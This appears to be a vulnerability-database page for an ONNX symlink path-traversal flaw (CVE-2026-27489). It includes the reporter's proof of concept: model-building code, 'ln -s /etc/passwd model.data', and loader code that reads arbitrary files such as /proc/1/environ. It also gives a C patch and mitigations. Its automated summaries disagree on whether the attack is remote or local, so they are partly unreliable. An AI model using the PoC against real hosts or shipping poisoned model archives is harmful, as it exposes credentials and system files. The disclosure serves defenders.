Python
CVE-2026-27489
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCreate symlink to arbitrary file
-
ExploitSubmit model with symlink path
-
ExecutionONNX checker follows symlink
-
ImpactRead arbitrary file contents
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Relative path traversal prevention
|
| Exploitation Conditions | No special conditions — remote unauthenticated exploitation against ONNX runtime when processing untrusted model files containing symlinks pointing to arbitrary filesystem locations. Attacker supplies crafted model file with symlink; victim/system processes it with ONNX checker. |
| Impact | Real-world risk is moderate and contextual. The attack requires the victim to load a maliciously crafted ONNX model from an untrusted source, limiting exploitability to scenarios where users download and extract compressed model archives or load models from shared directories. Attack complexity is low once the attacker can deliver the payload (a valid .onnx file paired with a symlink masquerading as external data). No authentication is required at the library level, though file system permissions still apply. The publicly available proof-of-concept lowers the barrier to exploitation significantly. Impact is limited to confidentiality breach (arbitrary file read) without integrity or availability impact, but sensitive data exposure (credentials, environment variables, configuration files) could enable secondary attacks. Absence from CISA KEV and lack of EPSS score suggest this is not yet exploited at scale, but the specific attack scenario (malicious models distributed as zip files) is realistic in ML research and production environments where practitioners frequently download pre-trained models from repositories, forums, or collaboration platforms. Organizations that validate or sanitize external models before loading face lower risk than those with permissive model loading practices. |
| Exploit ScenarioDerived | An attacker distributes a malicious pre-trained ONNX model via a public model repository, research collaboration platform, or email attachment as a compressed archive (model.zip). The archive contains a legitimate-looking model.onnx file and a model.data symbolic link pointing to /etc/passwd or /proc/self/environ. A data scientist or ML engineer downloads and extracts the archive, then loads the model using standard ONNX Python APIs (onnx.load('model.onnx')). The ONNX library follows the symlink, reads the target file contents, and incorporates them into the loaded model structure. The attacker gains access to sensitive system files through exfiltration channels (if the model is subsequently uploaded to a remote service) or through local access to the model object in memory. With access to environment variables, the attacker may obtain API keys, database credentials, or cloud service tokens that enable further compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Symlink-based path traversal in ONNX Python library allows local attackers to read arbitrary files on the host system when loading maliciously crafted ONNX models with external data. Affected users who load untrusted ONNX models from compressed archives or external sources may inadvertently expose sensitive files (/etc/passwd, environment variables via /proc/1/environ, etc.). Publicly available exploit code exists with a detailed proof-of-concept demonstrating the vulnerability. No EPSS score or CISA KEV listing available at time of analysis, suggesting exploitation is not yet widespread.
RemediationAI
Upstream fix available via GitHub advisory at github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73, though a released patched version number is not independently confirmed from the provided data. The reporter suggests implementing O_NOFOLLOW flag when opening external data files using openat() system calls with fstat() validation to prevent symlink traversal, as demonstrated in the sample patch code. Organizations should upgrade to the latest ONNX package version once released and monitor the GitHub advisory for version-specific remediation guidance. As an immediate workaround, validate ONNX model files before loading by inspecting external data references and verifying no symbolic links exist in the model directory using platform-appropriate checks (lstat on UNIX, file attributes on Windows). Implement principle of least privilege by running model loading processes with restricted filesystem permissions. Never load ONNX models from untrusted sources without prior inspection, and extract model archives in isolated directories with read-only mounts where possible.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
ONNX is a widely-used open neural network exchange format for interoperability between machine learning frameworks. The vulnerability exists in the external data loading mechanism (onnx/checker.cc lines 1024-1033) where ONNX models store large tensor weights in separate files referenced by the .onnx model file. The flawed implementation uses std::filesystem::is_regular_file which performs a status() call that follows symbolic links rather than examining the link itself. This maps to CWE-23 (Relative Path Traversal) where symlink handling bypasses intended access restrictions. When a model references external data (e.g., model.data), an attacker can replace this file with a symlink pointing to any readable file on the filesystem. The C++ standard library function follows the symlink, validates the target is a regular file, and proceeds to read its contents into the model structure. This affects the pkg:pip/onnx package across multiple platforms despite the POC using UNIX-specific symlinks, as the underlying C++ filesystem library behavior is cross-platform.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/onnx/onnx).
CVSS VectorVendor: https://github.com/onnx/onnx
Lifecycle Timeline
2DescriptionCVE.org
Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
PoC
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
def create_onnx_model(output_path="model.onnx"):
weight_matrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
W = numpy_helper.from_array(weight_matrix, name="W")
matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.make_graph(
nodes=[matmul_node],
name="SimpleModel",
inputs=[X],
outputs=[Y],
initializer=[W]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
onnx.checker.check_model(model)
data_file = output_path.replace('.onnx', '.data')
if os.path.exists(output_path):
os.remove(output_path)
if os.path.exists(data_file):
os.remove(data_file)
onnx.save_model(
model,
output_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=os.path.basename(data_file),
size_threshold=1024 * 1024
)
if __name__ == "__main__":
create_onnx_model("model.onnx")- Run the above code to generate a sample model with external data.
- Remove
model.data - Run
ln -s /etc/passwd model.data - Load the model using the following code
- Observe check for symlink is bypassed and model is succesfuly loaded
import onnx
from onnx.external_data_helper import load_external_data_for_model
def load_onnx_model_basic(model_path="model.onnx"):
model = onnx.load(model_path)
return model
def load_onnx_model_explicit(model_path="model.onnx"):
model = onnx.load(model_path, load_external_data=False)
load_external_data_for_model(model, ".")
return model
if __name__ == "__main__":
model = load_onnx_model_basic("model.onnx")
A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
Impact
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
Sample patch
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
int open_external_file_no_symlink(const char *base_dir,
const char *relative_path) {
int dirfd = -1;
int fd = -1;
struct stat st;
// Open base directory
dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
if (dirfd < 0) {
return -1;
}
// Open the target relative to base_dir
// O_NOFOLLOW => fail if final path component is a symlink
fd = openat(dirfd,
relative_path,
O_RDONLY | O_NOFOLLOW);
close(dirfd);
if (fd < 0) {
// ELOOP is the typical error if a symlink is encountered
return -1;
}
// Inspect the *opened file*
if (fstat(fd, &st) != 0) {
close(fd);
return -1;
}
// Enforce "regular file only"
if (!S_ISREG(st.st_mode)) {
close(fd);
errno = EINVAL;
return -1;
}
// fd is now:
// - not a symlink
// - not a directory
// - not a device / FIFO / socket
// - race-safe
return fd;
}Resources
- https://cwe.mitre.org/data/definitions/61.html
- https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172
- https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368
Blast Radius
ecosystem impact- 20 pypi packages depend on onnx (14 direct, 6 indirect)
Ecosystem-wide dependent count for version 1.21.0.
Executive ViewAI
CVE-2026-27489 is a local path traversal vulnerability in the ONNX Python library that allows attackers to read arbitrary files from host systems when users load maliciously crafted ONNX models. Organizations using ONNX for machine learning workflows that process models from untrusted sources risk exposure of sensitive system files and credentials. This affects data science teams, model validation pipelines, and any automation that ingests external ONNX artifacts.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Load ONNX models only from cryptographically verified or internally controlled sources; (2) Run ONNX processing in containerized or VM-based sandboxes with read-only access to sensitive directories (/etc, /proc); (3) Implement strict file system access controls (SELinux/AppArmor policies) limiting ONNX library process privileges; (4) Disable external data loading in ONNX model configurations where possible; (5) Monitor and audit all ONNX model file operations via filesystem monitoring tools.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-3r9x-f23j-gc73
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB